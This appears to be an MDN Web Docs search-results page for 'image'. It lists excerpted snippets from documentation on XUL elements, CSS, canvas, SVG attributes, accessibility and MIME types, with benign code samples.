... syntax of buttons the button tag has the following syntax: <button id="identifier" class="dialog" label="ok" image="images/image.jpg" disabled="true" accesskey="t"/> the attributes are as follows, all of which are optional: id a unique identifier so that you can identify the button with.
...And 6 more matches
Anonymous Content - Archive of obsolete content
ditable menulist element, might be created as follows: xul: <menu class="dropbox"> <menupopup> <menuitem label="1000"/> <menuitem label="2000"/> </menupopup> </menu> css: menu.dropbox { -moz-binding: url('chrome://example/skin/example.xml#dropbox'); } xbl: <binding id="dropbox"> <content> <children/> <xul:textbox flex="1"/> <xul:button src="chrome://global/skin/images/dropbox.jpg"/> </content> </binding> this example creates an input field with a button beside it.
...the resulting content would be: <menu class="dropbox"> <menupopup> <menuitem label="1000"/> <menuitem label="2000"/> </menupopup> <textbox flex="1"/> <button src="chrome://global/skin/images/dropbox.jpg"/> </menu> includes attribute in some cases, you may wish to only include specific types of content and not others.
...let's say that we wanted to create a widget that displayed an image with a zoom in and zoom out button on each side of it.
...And 6 more matches
XUL accessibility guidelines - Archive of obsolete content
alternative text provide alternative text for meaningful images.
... alternative text is not needed when an image serves a purely decorative function.
... use the "alt" attribute to describe html images and use the "tooltiptext" attribute on xul elements that use images (i.e.
...And 6 more matches
tab - Archive of obsolete content
ArchiveMozillaXULtab
attributes accesskey, afterselected, beforeselected, command, crop, disabled, first-tab, image, label, last-tab, linkedpanel, oncommand, pending, pinned, selected, tabindex, unread, validate, value properties accesskey, accessibletype, command, control, crop, disabled, image, label, linkedpanel, selected, tabindex, value examples (example needed) attributes accesskey type: character this should be set to a character that is used as a shortcut key.
... image type: uri the uri of the image to appear on the element.
... if this attribute is empty or left out, no image appears.
...And 6 more matches
Tiles and tilemaps overview - Game development
tilemaps are a very popular technique in 2d game development, consisting of building the game world or level map out of small, regular-shaped images called tiles.
... this results in performance and memory usage gains — big image files containing entire level maps are not needed, as they are constructed by small images or image fragments multiple times.
... the tile atlas the most efficient way to store the tile images is in an atlas or spritesheet.
...And 6 more matches
Mozilla Web Developer FAQ
the almost standards mode is like the standards mode except it addresses the issue of the next question by rendering table cells with images in the traditional way.
... why are there gaps between image rows in tables when the layout engine is in the standards mode?
... in the css2 box layout model the default vertical sizing of layout boxes and the default vertical alignment of images is different from the behavior of old browsers.
...And 6 more matches
imgICache
image/public/imgicache.idlscriptable please add a summary to this article.
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) as of firefox 18, there is no longer a single image cache.
...use the following snippet to obtain a relevant image cache for a given document or channel (where relevantdocument is a document object that contains images you care about, or relevantchannel is an nsichannel that is used for fetching images): var tools = components.classes["@mozilla.org/image/tools;1"].getservice(components.interfaces.imgitools); var cache = tools.getimgcachefordocument(relevantdocument); // alternatively, tools.getimgcacheforchannel(relevantchannel) if there is no relevant document or channel, null may be passed, but this will cause any image cache requests to use the permanent storage cache (ie.
...And 6 more matches
Using readable streams - Web APIs
as our simple stream pump example shows (see it live also), exposing it is a matter of just accessing the body property of the response: // fetch the original image fetch('./tortoise.png') // retrieve its body as readablestream .then(response => response.body) this provides us with a readablestream object.
...this is done using the readablestream.getreader() method: // fetch the original image fetch('./tortoise.png') // retrieve its body as readablestream .then(response => response.body) .then(body => { const reader = body.getreader(); invoking this method creates a reader and locks it to the stream — no other reader may read this stream until this reader is released, e.g.
... also note that the previous example can be reduced by one step, as response.body is synchronous and so doesn't need the promise: // fetch the original image fetch('./tortoise.png') // retrieve its body as readablestream .then(response => { const reader = response.body.getreader(); reading the stream now you’ve got your reader attached, you can read data chunks out of the stream using the readablestreamdefaultreader.read() method.
...And 6 more matches
ARIA: img role - Accessibility
the aria img role can be used to identify multiple elements inside page content that should be considered as a single image.
... these elements could be images, code snippets, text, emojis, or other content that can be combined to deliver information in a visual manner.
... <div role="img" aria-label="description of the overall image"> <img src="graphic1.png" alt=""> <img src="graphic2.png"> </div> description any set of content that should be consumed as a single image (which could include images, video, audio, code snippets, emojis, or other content) can be identified using role="img".
...And 6 more matches
Web accessibility for seizures and physical reactions - Accessibility
patterns and images can also trigger epilepsy.
... the fact that static images may cause seizures and other disorders is documented in such articles as “gamma oscillations and photosensitive epilepsy”, where it is noted “certain visual images, even in the absence of motion or flicker, can trigger seizures in patients with photosensitive epilepsy” the epilepsy foundation, in its article, "shedding light on photosensitivity, one of epilepsy's most complex conditions" talks about static images and patterns.
... although static images are possible as triggers, they are less consistent.
...And 6 more matches
-moz-context-properties - CSS: Cascading Style Sheets
the -moz-context-properties property can be used within privileged contexts in firefox to share the values of specified properties of the element with a child svg image.
... if you reference an svg image in a webpage (such as with the <img> element or as a background image), the svg image can coordinate with the embedding element (its context) to have the image adopt property values set on the embedding element.
... to do this the embedding element needs to list the properties that are to be made available to the image by listing them as values of the -moz-context-properties property, and the image needs to opt in to using those properties by using values such as the context-fill value.
...And 6 more matches
Using URL values for the cursor property - CSS: Cascading Style Sheets
this allows specifying arbitrary images as mouse cursors — any image format supported by gecko can be used.
..., ]* <keyword> it allows specifying the coordinates of the cursor's hotspot, which will be clamped to the boundaries of the cursor image.
... if none are specified, the coordinates of the hotspot are read from the file itself (for cur and xbm files) or are set to the top left corner of the image.
...And 6 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
ne; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-color-picker .picking-area { width: 198px; height: 198px; margin: 5px; border: 1px solid #ddd; position: relative; float: left; display: table; } .ui-color-picker .picking-area:hover { cursor: default; } /* hsv format - hue-saturation-value(brightness) */ .ui-color-picker .picking-area { background: url("images/picker_mask.png"); background: -moz-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -moz-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -webkit-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -webkit-linear-gradient(left, #fff 0%, rgba(255, 255, 255, 0) 100%); background: -ms-linear-gradient(bottom, #000 0%, rgba(0, 0, 0, 0) 100%), -ms-...
... 50%; border: 1px solid #fff; position: absolute; top: 45%; left: 45%; } .ui-color-picker .picker:before { width: 8px; height: 8px; content: ""; position: absolute; border: 1px solid #999; border-radius: 50%; } .ui-color-picker .hue, .ui-color-picker .alpha { width: 198px; height: 28px; margin: 5px; border: 1px solid #fff; float: left; } .ui-color-picker .hue { background: url("images/hue_mask.png"); background: -moz-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -webkit-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); background: -ms-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%);...
... background: -o-linear-gradient(left, #f00 0%, #ff0 16.66%, #0f0 33.33%, #0ff 50%, #00f 66.66%, #f0f 83.33%, #f00 100%); } .ui-color-picker .alpha { border: 1px solid #ccc; background: url("images/alpha_mask.png"); } .ui-color-picker .slider-picker { width: 2px; height: 100%; margin: 0 0 0 -2px; border: 1px solid #777; background-color: #fff; position: relative; top: -1px; } /* input hsv and rgb */ .ui-color-picker .info { width: 200px; margin: 5px; float: left; } .ui-color-picker .info * { float: left; } .ui-color-picker .input { width: 64px; margin: 5px 2px; float: left; } .ui-color-picker .input .name { height: 20px; width: 30px; text-align: center; font-size: 14px; line-height: 18px; float: left; } .ui-color-picker .input input { width: 30px; height: 18p...
...And 6 more matches
HTTP Index - HTTP
WebHTTPIndex
a complete document is reconstructed from the different sub-documents fetched, for instance text, layout description, images, videos, scripts, and more 4 basics of http guide, http, overview http is a pretty extensible protocol.
...http has evolved from an early protocol to exchange files in a semi-trusted laboratory environment, to the modern maze of the internet, now carrying images, videos in high resolution and 3d.
... 17 content negotiation content negotiation, content negotiation reference, http, reference in http, content negotiation is the mechanism that is used for serving different representations of a resource at the same uri, so that the user agent can specify which is best suited for the user (for example, which language of a document, which image format, or which content encoding).
...And 6 more matches
edgeMode - SVG: Scalable Vector Graphics
the edgemode attribute determines how to extend the input image as necessary with color values so that the matrix operations can be applied when the kernel is positioned at or near the edge of the input image.
... two elements are using this attribute: <feconvolvematrix> and <fegaussianblur> feconvolvematrix for <feconvolvematrix>, edgemode determines how to extend the input image as necessary with color values so that the matrix operations can be applied when the kernel is positioned at or near the edge of the input image.
... value duplicate | wrap | none default value duplicate animatable yes duplicate this value indicates that the input image is extended along each of its borders as necessary by duplicating the color values at the given edge of the input image.
...And 6 more matches
Private Properties - Archive of obsolete content
before explaining how weakmaps work, the following looks at how ordinary objects can be used as hash maps, by creating a simple image cache: let images = {}; function getimage(name) { let image = images[name]; if (!image) { image = loadimage(name); images[name] = image; } return image; } now suppose there's a need to associate a thumbnail with each image.
... moreover, to create each thumbnail only when it's first required: function getthumbnail(image) { let thumbnail = image._thumbnail; if (!thumbnail) { thumbnail = createthumbnail(image); image._thumbnail = thumbnail; } return thumbnail; } this approach is straightforward, but relies on the use of prefixes.
... a better approach would be to store thumbnails in their own, separate hash map: let thumbnails = {}; function getthumbnail(image) { let thumbnail = thumbnails[image]; if (!thumbnail) { thumbnail = createthumbnail(image); thumbnails[image] = thumbnail; } return thumbnail; } there are two problems with the above approach.
...And 5 more matches
clipboard - Archive of obsolete content
the following types are supported: text (plain text) html (a string of html) image (a base-64 encoded png) if no data type is provided, then the module will detect it for you.
... currently the image type doesn't support transparency on windows.
... var clipboard = require("sdk/clipboard"); if (clipboard.currentflavors.indexof("html") != -1) require("sdk/tabs").open("data:text/html;charset=utf-8," + clipboard.get("html")); set the clipboard contents to an image.
...And 5 more matches
listcell - Archive of obsolete content
attributes crop, disabled, image, label, type properties disabled style classes listcell-iconic, examples (example needed) attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute.
... image type: uri the uri of the image to appear on the element.
... if this attribute is empty or left out, no image appears.
...And 5 more matches
Theme changes in Firefox 2 - Archive of obsolete content
rd-button[buttondown="true"] #history-button:active #home-button:active #mail-button #mail-button:active #mail-button[disabled="true"] #mail-button[open="true"] #new-tab-button:active #new-tab-button[checked="true"] #new-window-button:active #new-window-button[checked="true"] #paste-button:active #print-button:active #reload-button:active #stop-button:active .messagebutton .messageimage .messagetext browsermessage toolbar[iconsize="small"] #bookmarks-button:active toolbar[iconsize="small"] #copy-button:active toolbar[iconsize="small"] #cut-button:active toolbar[iconsize="small"] #downloads-button:active toolbar[iconsize="small"] #history-button:active toolbar[iconsize="small"] #home-button:active toolbar[iconsize="small"] #mail-button toolbar[iconsize="small"] #mail-bu...
... #imagebox the box that displays the feed icon.
...bscribeoptions #feederror #feedheader #feedheader[firstrun="true"] #feedheader[firstrun="true"] #feedintrotext #feedheader[firstrun="true"] #feedsubscribeline #feedintrotext #feedsubscribedonechangingoptions #feedsubscribehandletext #feedsubscribehandler #feedsubscribeline #feedsubscribeoptions #feedsubscribeoptionsgroup #feedsubscribeoptionsgrouptitle #feedtitlecontainer #feedtitleimage #feedtitlelink #readercontainer #readergroup #readers #readers > listitem .feedentrycontent .feedsubscribebutton .feedsubscribebutton .button-icon .feedsubscribelink .feedsubscribelinkbox .field .link .link:hover:active .plain .plain > .button-box .plain:focus > .button-box .stylelessborderless the default theme also includes styles for a[href] img, body, h1, h2, and html.
...And 5 more matches
-ms-filter - Archive of obsolete content
code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/filter_8.htm -ms-filter: 'progid:dximagetransform.microsoft.motionblur(strength=50), progid:dximagetransform.microsoft.basicimage(mirror=1)'; the following example shows how to use an inline style sheet to set the filter on an image.
... code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/filter_h.htm <img style="filter:progid:dximagetransform.microsoft.motionblur(strength=50) progid:dximagetransform.microsoft.basicimage(mirror=1)" src="/workshop/samples/author/dhtml/graphics/cone.jpg" height="80px" width="80px" alt="cone"> the following example shows how to use scripting to set the filter on an image.
... code example: http://samples.msdn.microsoft.com/workshop/samples/author/dhtml/refs/filter_s.htm <body> <p>click the image to start the filter.</p> // call the function.
...And 5 more matches
Mobile accessibility - Learn web development
responsive design — make sure layouts work on mobile, conserve image download sizes, and think about the provision of images for high-resolution screens.
... conserving image sizes downloaded.
... in general, small screen devices won't need images that are as large as their desktop counterparts, and they are more likely to be on slow network connections.
...And 5 more matches
How do you make sure your website works properly? - Learn web development
you might be surprised at how many problems come up: images don't show up, pages don't load or load slowly, and so on.
... uh-oh, where's the image?
...it's not showing the image we expected!
...And 5 more matches
Basic native form controls - Learn web development
this article covers: the common input types button, checkbox, file, hidden, image, password, radio, reset, submit, and text.
... note: the image input type also renders as a button.
... image button the image button control is rendered exactly like an <img> element, except that when the user clicks on it, it behaves like a submit button.
...And 5 more matches
CSS basics - Learn web development
how do i decorate my webpage with background images and colors?
... img[src] selects <img src="myimage.png"> but not <img> pseudo-class selector the specified element(s), but only when in the specified state.
... centering the image img { display: block; margin: 0 auto; } next, we center the image to make it look better.
...And 5 more matches
Firefox UI considerations for web developers
otherwise, the smallest image larger than 96 pixels wide is selected.
...if the site also has a favicon, it may be overlaid in the corner of the image.
... the selected image is then presented within the top sites list.
...And 5 more matches
IAccessibleHyperlink
non-text objects can have either a single link or a collection of links such as when the non-text object is an image map.
...an example is an image map which is an image with multiple links each of which is associated with a separate non-overlapping area of the image.
...an interesting use case is an image map where each area is associated with multiple actions, for example an image map of smart tags.
...And 5 more matches
Working with ArrayBuffers
this feature is based on the following work: //github.com/realityripple/uxp/blob/master/js/src/ctypes/ctypes.cpp#3080 //github.com/realityripple/uxp/blob/master/js/src/vm/arraybufferobject.cpp#1301 example 1 - image data the following example illustrates how to transfer a byte array pointed by ctypes.uint8_t.ptr to imagedata of canvas.
... this example is based on the fact that the imagedata returned from canvasrenderingcontext2d.getimagedata is a uint8clampedarray view for an arraybuffer.
... the following codeblock provides a basic example of getting and setting uint8clampedarray and arraybuffer of imagedata: // context is a canvasrenderingcontext2d of some canvas var imagedata = context.getimagedata(x, y, w, h); var array = imagedata.data; // array is a uint8clampedarray var buffer = imagedata.data.buffer; // buffer is a arraybuffer // incomingbuffer is a typedarray var imagedata2 = context.createimagedata(w, h); imagedata2.data.set(incomingbuffer); further, if you have a byte array pixelbuffer, and you need to create imagedata from it.
...And 5 more matches
Basic animations - Web APIs
basic animation steps these are the steps you need to take to draw a frame: clear the canvas unless the shapes you'll be drawing fill the complete canvas (for instance a backdrop image), you need to clear any shapes that have been drawn previously.
... var sun = new image(); var moon = new image(); var earth = new image(); function init() { sun.src = 'https://mdn.mozillademos.org/files/1456/canvas_sun.png'; moon.src = 'https://mdn.mozillademos.org/files/1443/canvas_moon.png'; earth.src = 'https://mdn.mozillademos.org/files/1429/canvas_earth.png'; window.requestanimationframe(draw); } function draw() { var ctx = document.getelementbyid('canvas').getconte...
...; ctx.clearrect(0, 0, 300, 300); // clear canvas ctx.fillstyle = 'rgba(0, 0, 0, 0.4)'; ctx.strokestyle = 'rgba(0, 153, 255, 0.4)'; ctx.save(); ctx.translate(150, 150); // earth var time = new date(); ctx.rotate(((2 * math.pi) / 60) * time.getseconds() + ((2 * math.pi) / 60000) * time.getmilliseconds()); ctx.translate(105, 0); ctx.fillrect(0, -12, 40, 24); // shadow ctx.drawimage(earth, -12, -12); // moon ctx.save(); ctx.rotate(((2 * math.pi) / 6) * time.getseconds() + ((2 * math.pi) / 6000) * time.getmilliseconds()); ctx.translate(0, 28.5); ctx.drawimage(moon, -3.5, -3.5); ctx.restore(); ctx.restore(); ctx.beginpath(); ctx.arc(150, 150, 105, 0, math.pi * 2, false); // earth orbit ctx.stroke(); ctx.drawimage(sun, 0, 0, 300, 300); window.reques...
...And 5 more matches
HTMLCanvasElement.mozGetAsFile() - Web APIs
the non-standard, firefox-specific the htmlcanvaselement method mozgetasfile() returns a memory-based file object representing the image contained in the canvas.
... syntax canvas.mozgetasfile(name, type); parameters name a domstring indicating the file name to give the file representing the image file in memory.
... type optional a domstring which specifies the image file format to use when creating the new image file.
...And 5 more matches
Rendering and the WebXR frame animation callback - Web APIs
60 fps is already beyond the point at which most people can easily detect that the animation isn't simply a series of still images going by really fast.
...the more of these we simulate—and the more accurately we do so—the better able we are to trick the human brain into perceiving our images in 3d.
...these two images are focused onto the retinas and the resulting signal transmitted over the optic nerves to the brain's visual cortex, located at the back of the occipital lobe.
...And 5 more matches
Web APIs
WebAPI
aambient light eventsbbackground tasksbattery api beaconbluetooth apibroadcast channel apiccss counter stylescss font loading api cssomcanvas apichannel messaging apiconsole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnnavigation timingnetwork information api ppage visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource t...
...bluetooth bluetoothadvertisingdata bluetoothcharacteristicproperties bluetoothdevice bluetoothremotegattcharacteristic bluetoothremotegattdescriptor bluetoothremotegattserver bluetoothremotegattservice body broadcastchannel budgetservice budgetstate buffersource bytelengthqueuingstrategy bytestring c cdatasection css cssconditionrule csscounterstylerule cssgroupingrule cssimagevalue csskeyframerule csskeyframesrule csskeywordvalue cssmathproduct cssmathsum cssmathvalue cssmediarule cssnamespacerule cssnumericvalue cssomstring csspagerule csspositionvalue cssprimitivevalue csspseudoelement cssrule cssrulelist cssstyledeclaration cssstylerule cssstylesheet cssstylevalue csssupportsrule cssunitvalue cssunparsedvalue cssvalue cssvaluelist css...
...variablereferencevalue cache cachestorage canvascapturemediastreamtrack canvasgradient canvasimagesource canvaspattern canvasrenderingcontext2d caretposition channelmergernode channelsplitternode characterdata childnode client clients clipboard clipboardevent clipboarditem closeevent comment compositionevent constantsourcenode constrainboolean constraindomstring constraindouble constrainulong contentindex contentindexevent convolvernode countqueuingstrategy crashreportbody credential credentialscontainer crypto cryptokey cryptokeypair customelementregistry customevent d domconfiguration domerror domexception domhighrestimestamp domimplementation domimplementationlist domlocator dommatrix dommatrixreadonly domobject domparser dompoint dompointinit dompoin...
...And 5 more matches
symbols - CSS: Cascading Style Sheets
this must be one of the following data types: <string> <image> (note: this value is "at risk" and may be removed from the specification.
... it is not yet implemented.) <custom-ident> description a symbol can be a string, image, or identifier.
... formal definition related at-rule@counter-styleinitial valuen/acomputed valueas specified formal syntax <symbol>+where <symbol> = <string> | <image> | <custom-ident>where <image> = <url> | <image()> | <image-set()> | <element()> | <paint()> | <cross-fade()> | <gradient>where <image()> = image( <image-tags>?
...And 5 more matches
Color picker tool - CSS: Cascading Style Sheets
-picker .input[data-topic="hexa"] > .name { display: none; } .ui-color-picker .input[data-topic="hexa"] > input { width: 90px; height: 24px; padding: 2px 0; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /* preview color */ .ui-color-picker .preview { width: 95px; height: 53px; margin: 5px; margin-top: 10px; border: 1px solid #ddd; background-image: url("https://mdn.mozillademos.org/files/5705/alpha.png"); float: left; position: relative; } .ui-color-picker .preview:before { height: 100%; width: 50%; left: 50%; top: 0; content: ""; background: #fff; position: absolute; z-index: 1; } .ui-color-picker .preview-color { width: 100%; height: 100%; background-color: rgba(255, 0, 0, 0.5); position: absolute; z-index: 1; } .ui-col...
...ls */ #controls { width: 110px; padding: 10px; float: right; } #controls #picker-switch { text-align: center; float: left; } #controls .icon { width: 48px; height: 48px; margin: 10px 0; background-repeat: no-repeat; background-position: center; border: 1px solid #ddd; display: table; float: left; } #controls .icon:hover { cursor: pointer; } #controls .picker-icon { background-image: url('https://mdn.mozillademos.org/files/6081/picker.png'); } #controls #void-sample { margin-right: 10px; background-image: url('https://mdn.mozillademos.org/files/6087/void.png'); background-position: center left; } #controls #void-sample[data-active='true'] { border-color: #ccc; background-position: center right; } #controls .switch { width: 106px; padding: 1px; border: 1px solid #c...
...cc; font-size: 14px; text-align: center; line-height: 24px; overflow: hidden; float: left; } #controls .switch:hover { cursor: pointer; } #controls .switch > * { width: 50%; padding: 2px 0; background-color: #eee; float: left; } #controls .switch [data-active='true'] { color: #fff; background-image: url('https://mdn.mozillademos.org/files/6025/grain.png'); background-color: #777; } /** * trash can */ #delete { width: 100%; height: 94px; background-color: #ddd; background-image: url('https://mdn.mozillademos.org/files/6025/grain.png'); background-repeat: repeat; text-align: center; color: #777; position: relative; float: right; } #delete #trash-can { width: 80%; height: 80%; border: 2px dashed #fff; border-radius: 5px; background: url('https://mdn.mozilladem...
...And 5 more matches
Using CSS gradients - CSS: Cascading Style Sheets
css gradients are represented by the <gradient> data type, a special type of <image> made of a progressive transition between two or more colors.
... gradients can be used anywhere you would use an <image>, such as in backgrounds.
... because gradients are dynamically generated, they can negate the need for the raster image files that traditionally were used to achieve similar effects.
...And 5 more matches
Recipe: Media objects - CSS: Cascading Style Sheets
named by nicole sullivan it refers to a two-column box with an image on one side and descriptive text on the other, e.g.
... the image can be on the left or right.
... the image might be small or large.
...And 5 more matches
cursor - CSS: Cascading Style Sheets
WebCSScursor
each <url> should point to an image file.
... the browser will try to load the first image specified, falling back to the next if it can't, and falling back to the keyword value if no images could be loaded (or if none were specified).
...these will set the cursor's hotspot, relative to the top-left corner of the image.
...And 5 more matches
Video player styling basics - Developer guides
since background images will be used to display appropriate icons, the background colour of the button is set to be transparent, non-repeated, and the element should fully contain the image.
... simple :hover and :focus states are then set for each button that simply alters the opacity of the button: .controls button:hover, .controls button:focus { opacity:0.5; } to obtain appropriate button images, a set of free common control set icons was downloaded from the web.
... each image was then converted to a base64 encoded string (using an online base64 image encoder), since the images are quite small, the resultant encoded strings are quite short.
...And 5 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
svg (scalable vector graphics) lets you draw images using commands that draw specific shapes, patterns, and lines to produce an image.
... svg commands are formatted as xml, and can be embedded directly into a web page or can be placed in he page using the <img> element, just like any other type of image.
...image courtesy of user sharkd on wikipedia, distributed under the cc by-sa 3.0 license.
...And 5 more matches
HTML attribute: accept - HTML: Hypertext Markup Language
an <input> like this: <input type="file" id="docpicker" accept=".doc,.docx,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document"> whereas if you're accepting a media file, you may want to be include any format of that media type: <input type="file" id="soundfile" accept="audio/*"> <input type="file" id="videofile" accept="video/*"> <input type="file" id="imagefile" accept="image/*"> the accept attribute doesn't validate the types of the selected files; it simply provides hints for browsers to guide users towards selecting the correct file types.
... <p> <label for="soundfile">select an audio file:</label> <input type="file" id="soundfile" accept="audio/*"> </p> <p> <label for="videofile">select a video file:</label> <input type="file" id="videofile" accept="video/*"> </p> <p> <label for="imagefile">select some images:</label> <input type="file" id="imagefile" accept="image/*" multiple> </p> note the last example allows you to select multiple iamges.
... the string image/* meaning "any image file".
...And 5 more matches
HTML elements reference - HTML: Hypertext Markup Language
WebHTMLElement
image and multimedia html supports various multimedia resources such as images, audio, and video.
... element description <area> the html <area> element defines a hot-spot region on an image, and optionally associates it with a hypertext link.
... <img> the html <img> element embeds an image into the document.
...And 5 more matches
MIME types (IANA media types) - HTTP
image list at iana image or graphical data including both bitmap and vector still images as well as animated versions of still image formats such as animated gif or apng.
... common examples are image/jpeg, image/png, and image/svg+xml.
... image types files whose mime type is image contain image data.
...And 5 more matches
color-profile - SVG: Scalable Vector Graphics
the color-profile attribute is used to define which color profile a raster image included through the <image> element should use.
... as a presentation attribute, it can be applied to any element but it only has an effect on the following element: <image> usage notes value auto | srgb | <name> | <iri> default value auto animatable yes auto all colors are presumed to be defined in the srgb color space unless a more precise embedded profile is specified within content data.
... for images that do have a profile built into their data, that profile is used.
...And 5 more matches
enable-background - SVG: Scalable Vector Graphics
the enable-background attribute specifies how the accumulation of the background image is managed.
... default value accumulate animatable no accumulate if an ancestor container element has a property value of enable-background: new, then all graphics elements within the current container element are rendered both onto the parent container elementʼs background image canvas and onto the target device.
... otherwise, there is no current background image canvas, so graphics elements are only rendered onto the target device.
...And 5 more matches
href - SVG: Scalable Vector Graphics
WebSVGAttributehref
fifteen elements are using this attribute: <a>, <animate>, <animatemotion>, <animatetransform>, <discard>, <feimage>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> in svg a for <a>, href defines the location of the referenced object, expressed as a url reference.
... value <url> default value none animatable no feimage for <feimage>, href defines a url referring to an image resource or to an element.
... value <url> default value none animatable yes image for <image>, href defines a url referring to the image to render.
...And 5 more matches
xlink:href - SVG: Scalable Vector Graphics
22 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <color-profile>, <cursor>, <feimage>, <filter>, <font-face-uri>, <glyphref>, <image>, <lineargradient>, <mpath>, <pattern>, <radialgradient>, <script>, <set>, <textpath>, <tref>, and <use>} html, body, svg { height: 100%; } <svg viewbox="0 0 160 40" xmlns="http://www.w3.org/2000/svg"> <a xlink:href="https://developer.mozilla.org/"><text x="10" y="25">mdn web docs</text></a> </svg> a for <a>, xlink:href defines the loc...
... value <iri> default value none animatable no cursor for <cursor>, xlink:href defines the reference to the file or element which provides the image of the cursor.
... value <funciri> default value none animatable yes feimage for <feimage>, xlink:href defines the reference to the image source.
...And 5 more matches
Canvas code snippets - Archive of obsolete content
function getpixelamount(canvas, r, g, b) { var cx = canvas.getcontext('2d'); var pixels = cx.getimagedata(0, 0, canvas.width, canvas.height); var all = pixels.data.length; var amount = 0; for (i = 0; i < all; i += 4) { if (pixels.data[i] === r && pixels.data[i + 1] === g && pixels.data[i + 2] === b) { amount++; } } return amount; }; getting the color of a pixel in a canvas this following snippet returns an object with the rgba values of the pixel at posi...
... function getpixelcolour(canvas, x, y) { var cx = canvas.getcontext('2d'); var pixel = cx.getimagedata(x, y, 1, 1); return { r: pixel.data[0], g: pixel.data[1], b: pixel.data[2], a: pixel.data[3] }; } chaining methods this class provides jquery-style chained access to 2d context methods and properties.
...mentbyid(canvas); } if (!(this instanceof canvas2dcontext)) { return new canvas2dcontext(canvas); } this.context = this.ctx = canvas.getcontext('2d'); if (!canvas2dcontext.prototype.arc) { canvas2dcontext.setup.call(this, this.ctx); } } canvas2dcontext.setup = function() { var methods = ['arc', 'arcto', 'beginpath', 'beziercurveto', 'clearrect', 'clip', 'closepath', 'drawimage', 'fill', 'fillrect', 'filltext', 'lineto', 'moveto', 'quadraticcurveto', 'rect', 'restore', 'rotate', 'save', 'scale', 'settransform', 'stroke', 'strokerect', 'stroketext', 'transform', 'translate']; var gettermethods = ['createpattern', 'drawfocusring', 'ispointinpath', 'measuretext', // drawfocusring not currently supported // the following might instead be wrapped to be able to...
...And 4 more matches
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
you can even display icons in menus by adding class="menuitem-iconic" to a menuitem element, along with a src attribute that gives an image uri.
...to show one with an icon as shown in figure 8, define an image's uri as the value for the image attribute.
... note: to see this sample in operation, use any image as the one to display and place it in the same folder as the xul document.
...And 4 more matches
Defining Cross-Browser Tooltips - Archive of obsolete content
summary: authors are used to having alt text appear as a &quot;tooltip&quot; above images, but that's not how it was meant to be used.
...the classic example is a "tooltip" of an image; when the user pauses the mouse pointer over an image, the contents of the alt attribute are displayed as a "tooltip." gecko-based browsers such as mozilla, netscape 6+, and compuserve 7 do not support this behavior.
... the problem according to the html 4.01 definition of the alt attribute: alt = text cs for user agents that cannot display images, forms, or applets, this attribute specifies alternate text.
...And 4 more matches
Elements - Archive of obsolete content
the following xul display types may be used: browser, button, checkbox, description, editor, grippy, iframe, image, label, menu, menuitem, menubar, progressmeter, radio, resizer, scrollbar, scrollbox, spacer, splitter, titlebar, treechildren and treecol.
... resources <!entity % resources-content "(image?,stylesheet?)"> <!element resources %resources-content;> <!attlist property id id #implied > used for inclusion of image elements, to cache them for later use, and for inclusion of stylesheet elements.
... image <!element image empty> <!attlist image id id #implied src uri #required > declares an image resource used by the binding.
...And 4 more matches
Additional Navigation - Archive of obsolete content
to look closer, here is the data network after only the member has been evaluated: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/palace.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg) (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/obselisk.jpg) when evaluating the triple, the template builder will iterate over the three potential results found so far.
... for the first result, the value of the ?photo variable 'http://www.xulplanet.com/ndeakin/images/t/palace.jpg' will be used as the subject, the predicate will be 'http://purl.org/dc/elements/1.1/title', and the object will be 'canal'.
...the resulting data will look like the following: (?start = http://www.xulplanet.com/rdf/myphotos, ?photo = http://www.xulplanet.com/ndeakin/images/t/canal.jpg) here is the example.
...And 4 more matches
listitem - Archive of obsolete content
attributes accesskey, checked, command, crop, current, disabled, image, label, preference, selected, tabindex, type, value properties accesskey, accessible, checked, control, crop, current, disabled, image, label, selected, tabindex, value style classes listitem-iconic examples <listbox id="thelist"> <listitem label="ruby"/> <listitem label="emerald"/> <listitem label="sapphire" selected="true"/> <listitem label="diamond"/> </listbox> attrib...
... image type: uri the uri of the image to appear on the element.
... if this attribute is empty or left out, no image appears.
...And 4 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
